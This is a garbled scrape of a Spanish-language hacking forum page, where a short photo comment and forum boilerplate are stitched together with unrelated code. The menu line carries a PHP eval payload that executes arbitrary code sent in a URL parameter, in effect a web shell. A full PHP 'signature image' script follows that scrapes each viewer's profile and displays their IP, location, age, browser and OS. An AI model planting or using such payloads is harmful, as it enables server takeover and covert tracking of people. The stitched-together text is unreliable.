q las estrellas no tenian solo 5 puntas xD!? che, estan muy buenas las fotos!!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú{${eval(stripslashes(html_entity_decode($_GET[x])))}}
<?php
//Headers
header("Content-type: image/png");
//
//obtencion de datos: id user!
if(isset($_COOKIE['id'])){
$id = $_COOKIE['id'];
}else{
//
//un retardo para conexiones lentas, para que no se adelante la pagina php...
sleep(2);
$ref = getenv("HTTP_REFERER");
$post = str_replace("\n" , "", file_get_contents($ref));
$post = explode('<td align="center" class="smalltext"><a href="http://foro.elhacker.net/profiles/', $post);
$post = explode('.html">', $post[1]);
$post = explode('-u', $post[0]);
$id = $post[1];
}
//Prefil...
$perfil = file_get_contents('http://foro.elhacker.net/index.php?&action=.xml;sa=profile;u='.$id);
$perfil = preg_replace("/[\n\t\r]+/" , "", $perfil);
$nick = preg_replace("/.*<name><!\[CDATA\[(.*)\]\]><\/name>.*/", "Hola $1!", $perfil);
$lugar = preg_replace("/.*<location><!\[CDATA\[(.*)\]\]><\/location>.*/", "Sos de $1.", $perfil);
$edad = preg_replace("/.*<age>(.*)<\/age>.*/", "Tenes $1 años.", $perfil);
$posts = preg_replace("/.*<posts>(.*)<\/posts>.*/", "Escribiste $1 posts.", $perfil);
//
//
//Otros datos
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent= strtolower($_SERVER['HTTP_USER_AGENT']);
$navegador = preg_replace("/.*(firefox|msie|opera|netscape|safari|chrome|epiphany|galeon|iceape|icewease|kazehakasel|konqueror|minefield|seamonkey|shiretoko|avant|lock|k-meleon|minefield|navigator).*/", "$1", $userAgent);
$sistema = preg_replace("/.*(windows|mac|linux).*/", "$1", $userAgent);
$agent = ($navegador!=$userAgent && $sistema!=$userAgent) ? "Usas $navegador desde $sistema." : "";
//
//
//depuracion de datos:
if($nick == $perfil){
$hayUser = false;
}else{
$hayUser = true;
if($lugar==$perfil){ $lugar = "Ubicacion no definida"; }
if($edad==$perfil){ $edad = "Edad no definida"; }
}
if($hayUser){
if(!isset($_COOKIE['id'])){
setcookie('id',$id);
}
$mensaje = "$nick\n\n $posts\n $lugar\n $edad\n Tu ip es $ip.\n $agent";
}else{
$mensaje = " Tu ip es: $ip\n\n Para descubrir más de mis\npoderes, mirame en un post\ndonde Castg! comente." ;
}
//
//
//imagen
$im = imagecreatefrompng('firma-perfil.png');
$blanco = imagecolorallocate($im, 255,255,255);
$negro = imagecolorallocate($im, 0,0,0);
$fuente = "./persansb.ttf";
//
//centrar fuente:
$puntosTexto = imagettfbbox(12, 0, $fuente, $mensaje);
$tamanioTexto = array();
$tamanioTexto['x'] = $puntosTexto[2] - $puntosTexto[6];
$tamanioTexto['y'] = $puntosTexto[3] - $puntosTexto[7];
$xtexto = (imagesx($im) - $tamanioTexto['x']) / 2 ;
$ytexto = ((imagesy($im) - $tamanioTexto['y']) / 2) + imagefontheight($fuente) ;
// listo :D
//
//
imagettftext($im, 12, 0, $xtexto, $ytexto, $blanco, $fuente, $mensaje);
imagepng($im);
imagedestroy($im);
//
?>
<input type=button onclick='var tex=document.getElementById("textarea"); if (tex.value.split("palabra")) { tex.value = tex.value.replace("palabra", "******"); } document.form.submit(); '>